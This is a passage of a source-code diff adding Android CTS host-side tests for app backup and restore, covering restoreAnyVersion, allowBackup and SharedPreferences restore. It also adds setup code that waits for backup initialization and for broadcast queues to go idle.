+ android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
new file mode 100644
index 0000000..94d9376
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionNoRestoreApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..0d05b99
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="100">
+
+ <application
+ android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
new file mode 100644
index 0000000..81652a7
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..57fdf1f
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="100">
+
+ <application
+ android:backupAgent=".RestoreAnyVersionBackupAgent"
+ android:restoreAnyVersion="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
new file mode 100644
index 0000000..e4c65bd
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionBackupAgent.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class RestoreAnyVersionBackupAgent extends BackupAgentHelper {
+ private static final String TAG = "RestoreAnyVersionBackupAgent";
+
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+ private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+ new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+ }
+}
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
new file mode 100644
index 0000000..1dbdb05
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.restoreanyversionapp;
+
+import static android.content.Context.MODE_PRIVATE;
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Device side routines to be invoked by the host side RestoreAnyVersionHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class RestoreAnyVersionTest {
+ private static final String TAG = "BackupTestRestoreAnyVer";
+
+ static final String TEST_PREFS_1 = "test-prefs-1";
+ static final String INT_PREF = "int-pref";
+ static final int DEFAULT_INT_VALUE = 0;
+
+ private static final int OLD_VERSION = 100;
+ private static final int NEW_VERSION = 200;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ Log.i(TAG, "set up");
+ mContext = getTargetContext();
+ }
+
+ @Test
+ public void saveSharedPrefValue() throws Exception {
+ saveAppVersionCodeToSharedPreference();
+ }
+
+ @Test
+ public void checkAppVersionIsNew() throws Exception {
+ PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+ mContext.getPackageName(), 0);
+ assertEquals(NEW_VERSION, packageInfo.versionCode);
+ }
+
+ @Test
+ public void checkSharedPrefIsEmpty() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(DEFAULT_INT_VALUE, intValue);
+ }
+
+ @Test
+ public void checkSharedPrefIsNew() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(NEW_VERSION, intValue);
+ }
+
+ @Test
+ public void checkAppVersionIsOld() throws Exception {
+ PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
+ mContext.getPackageName(), 0);
+ assertEquals(OLD_VERSION, packageInfo.versionCode);
+ }
+
+ @Test
+ public void checkSharedPrefIsOld() throws Exception {
+ int intValue = getAppSharedPreference();
+ assertEquals(OLD_VERSION, intValue);
+ }
+
+ private void saveAppVersionCodeToSharedPreference() throws NameNotFoundException {
+ SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.putInt(INT_PREF,
+ mContext.getPackageManager()
+ .getPackageInfo(mContext.getPackageName(), 0).versionCode);
+ assertTrue("Error committing shared preference value", editor.commit());
+ }
+
+ private int getAppSharedPreference() throws InterruptedException {
+ SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
+
+ Log.i(TAG, "Read the shared preference value: " + intValue);
+
+ return intValue;
+ }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
new file mode 100644
index 0000000..4e4f0be
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+
+LOCAL_PACKAGE_NAME := CtsSharedPreferencesRestoreApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
new file mode 100644
index 0000000..1cf6da5
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.sharedprefrestoreapp">
+
+ <application
+ android:backupAgent=".SharedPreferencesBackupAgent"
+ android:killAfterRestore="false" >
+
+ <activity android:name=".SharedPrefsRestoreTestActivity"
+ android:launchMode="singleInstance">
+ <intent-filter>
+ <action android:name="android.backup.cts.backuprestore.INIT" />
+ <action android:name="android.backup.cts.backuprestore.UPDATE" />
+ <action android:name="android.backup.cts.backuprestore.TEST" />
+ </intent-filter>
+ </activity>
+
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
new file mode 100644
index 0000000..e5a3948
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPreferencesBackupAgent.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.backup.BackupAgentHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+
+public class SharedPreferencesBackupAgent extends BackupAgentHelper {
+
+ private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+ new SharedPreferencesBackupHelper(this, TEST_PREFS_1));
+ }
+}
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
new file mode 100644
index 0000000..2f61c65
--- /dev/null
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/src/android/cts/backup/sharedprefrestoreapp/SharedPrefsRestoreTestActivity.java
@@ -0,0 +1,103 @@
+package android.cts.backup.sharedprefrestoreapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Test activity that verifies SharedPreference restore behavior.
+ * The activity lifecycle is driven by KeyValueBackupRestoreTest and is roughly the following:
+ *
+ * 1. This activity is launched; it creates a new SharedPreferences instance and writes
+ * a known value to the INT_PREF element's via that instance. The instance is
+ * kept live.
+ * 2. The app is backed up, storing this known value in the backup dataset.
+ * 3. Next, the activity is instructed to write a different value to the INT_PREF
+ * shared preferences element. At this point, the app's current on-disk state
+ * and the live shared preferences instance are in agreement, holding a value
+ * different from that in the backup.
+ * 4. The runner triggers a restore for this app. This will rewrite the shared prefs
+ * file itself with the backed-up content (i.e. different from what was just
+ * committed from this activity).
+ * 5. Finally, the runner instructs the activity to compare the value of its existing
+ * shared prefs instance's INT_PREF element with what was previously written.
+ * The test passes if these differ, i.e. if the live shared prefs instance picked
+ * up the newly-restored data.
+ *
+ */
+public class SharedPrefsRestoreTestActivity extends Activity {
+ static final String TAG = "SharedPrefsTest";
+
+ // Shared prefs test activity actions
+ static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+ static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+ static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+ static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+
+ private static final String TEST_PREFS_1 = "test-prefs-1";
+ private static final String INT_PREF = "int-pref";
+ private static final int INT_PREF_VALUE = 1;
+ private static final int INT_PREF_MODIFIED_VALUE = 99999;
+ private static final int INT_PREF_DEFAULT_VALUE = 0;
+ private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+ SharedPreferences mPrefs;
+ int mLastValue;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mPrefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+ mLastValue = 0;
+
+ processLaunchCommand(getIntent());
+ }
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ processLaunchCommand(intent);
+ }
+
+ private void processLaunchCommand(Intent intent) {
+ final String action = intent.getAction();
+ Log.i(TAG, "processLaunchCommand: " + action);
+
+ boolean success = false;
+
+ if (INIT_ACTION.equals(action)) {
+ // We'll issue a backup after setting this value in shared prefs
+ success = setPrefValue(INT_PREF_VALUE);
+ } else if (UPDATE_ACTION.equals(action)) {
+ // We'll issue a *restore* after setting this value, which will send a broadcast
+ // to our receiver to read from the live instance and ensure that the value is
+ // different from what was just written.
+ success = setPrefValue(INT_PREF_MODIFIED_VALUE);
+ } else if (TEST_ACTION.equals(action)) {
+ final int currentValue = mPrefs.getInt(INT_PREF, INT_PREF_DEFAULT_VALUE);
+ Log.i(TAG, "current value: " + currentValue + " last value : " + mLastValue);
+
+ if (currentValue != mLastValue && currentValue != INT_PREF_DEFAULT_VALUE) {
+ success = true;
+ }
+ } else {
+ // Should never happen
+ Log.e(TAG, "Unexpected intent action");
+ return;
+ }
+
+ sendBroadcast(new Intent().setAction(RESULT_ACTION).putExtra(EXTRA_SUCCESS, success));
+ }
+
+ // Write a known value prior to backup
+ private boolean setPrefValue(int value) {
+ Log.i(TAG, "mLastValue = " + mLastValue + " setPrefValue: " + value );
+ mLastValue = value;
+ boolean success = mPrefs.edit().putInt(INT_PREF, value).commit();
+ Log.i(TAG, "setPrefValue success: " + success);
+ return success;
+ }
+}
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
index 46af984..96f9032 100644
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsFullbackupApp
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
index 9c55290..a6d258e 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.mk
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsIncludeExcludeApp
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
new file mode 100644
index 0000000..4f46936
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static junit.framework.Assert.assertNull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test checking that allowBackup manifest attribute is respected by backup manager.
+ *
+ * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
+ *
+ * Tests 2 scenarios:
+ *
+ * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
+ * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
+ *
+ * The flow of the tests is the following:
+ * 1. Install the app
+ * 2. Generate files in the app's data folder.
+ * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
+ * 'Backup is not allowed' in the output.
+ * 4. Uninstall/reinstall the app
+ * 5. Check whether the files were restored or not depending on the manifest.
+ *
+ * Invokes device side tests provided by
+ * android.cts.backup.backupnotallowedapp.AllowBackupTest.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
+
+ private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
+ private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
+ ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
+
+ /** The name of the APK of the app that has allowBackup=false in the manifest */
+ private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+ /** The name of the APK of the app that doesn't have allowBackup in the manifest
+ * (same as allowBackup=true by default) */
+ private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+ @After
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (!mIsBackupSupported) {
+ return;
+ }
+
+ // Clear backup data and uninstall the package (in that order!)
+ clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+ }
+
+ @Test
+ public void testAllowBackup_False() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
+ checkAllowBackupDeviceTest("createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+ assertBackupIsNotAllowed(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+ installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+ checkAllowBackupDeviceTest("checkNoFilesExist");
+ }
+
+ @Test
+ public void testAllowBackup_True() throws Exception {
+ if (!mIsBackupSupported) {
+ CLog.i("android.software.backup feature is not supported on this device");
+ return;
+ }
+
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ // Generate the files that are going to be backed up.
+ checkAllowBackupDeviceTest("createFiles");
+
+ // Do a backup
+ String backupnowOutput = backupNow(ALLOWBACKUP_APP_NAME);
+
+ assertBackupIsSuccessful(ALLOWBACKUP_APP_NAME, backupnowOutput);
+
+ assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
+
+ installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+ checkAllowBackupDeviceTest("checkAllFilesExist");
+ }
+
+ private void checkAllowBackupDeviceTest(String methodName)
+ throws DeviceNotAvailableException {
+ checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
+ methodName);
+ }
+
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index 1d98021..eae5383 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -19,6 +19,7 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
@@ -26,6 +27,7 @@
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.TargetSetupError;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -51,6 +53,9 @@
private static final String LOCAL_TRANSPORT =
"android/com.android.internal.backup.LocalTransport";
+ private static final int BACKUP_PROVISIONING_TIMEOUT_SECONDS = 30;
+ private static final int BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS = 1;
+
private boolean mIsBackupSupported;
private boolean mWasBackupEnabled;
private String mOldTransport;
@@ -63,6 +68,10 @@
mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+ // In case the device was just rebooted, wait for the broadcast queue to get idle to avoid
+ // any interference from services doing backup clean up on reboot.
+ waitForBroadcastIdle();
+
if (mIsBackupSupported) {
// Enable backup and select local backup transport
if (!hasBackupTransport(LOCAL_TRANSPORT)) {
@@ -78,6 +87,7 @@
mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
CLog.d("Old transport : %s", mOldTransport);
}
+ waitForBackupInitialization();
}
}
}
@@ -138,4 +148,46 @@
throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
}
}
+
+ private void waitForBackupInitialization()
+ throws TargetSetupError, DeviceNotAvailableException {
+ long tryUntilNanos = System.nanoTime()
+ + TimeUnit.SECONDS.toNanos(BACKUP_PROVISIONING_TIMEOUT_SECONDS);
+ while (System.nanoTime() < tryUntilNanos) {
+ String output = mDevice.executeShellCommand("dumpsys backup");
+ if (output.matches("(?s)" // DOTALL
+ + "^Backup Manager is .* not pending init.*")) {
+ return;
+ }
+ try {
+ Thread.sleep(TimeUnit.SECONDS.toMillis(BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS));
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ break;
+ }
+ }
+ throw new TargetSetupError("Timed out waiting for backup initialization",
+ mDevice.getDeviceDescriptor());
+ }
+
+ // Copied over from BaseDevicePolicyTest
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException, TargetSetupError {
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ // we allow 20 min for the command to complete and 10 min for the command to start to
+ // output something
+ mDevice.executeShellCommand(
+ "am wait-for-broadcast-idle", receiver, 20, 10, TimeUnit.MINUTES, 0);
+ } finally {
+ String output = receiver.getOutput();
+ CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
+ if (!output.contains("All broadcast queues are idle!")) {
+ // the call most likely failed we should fail the test
+ throw new TargetSetupError("'am wait-for-broadcase-idle' did not complete.",
+ mDevice.getDeviceDescriptor());
+ // TODO: consider adding a reboot or recovery before failing if necessary
+ }
+ }
+ }
+
}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index 9a04db8..acdb423 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -18,6 +18,7 @@
import static junit.framework.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assume.assumeTrue;
import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
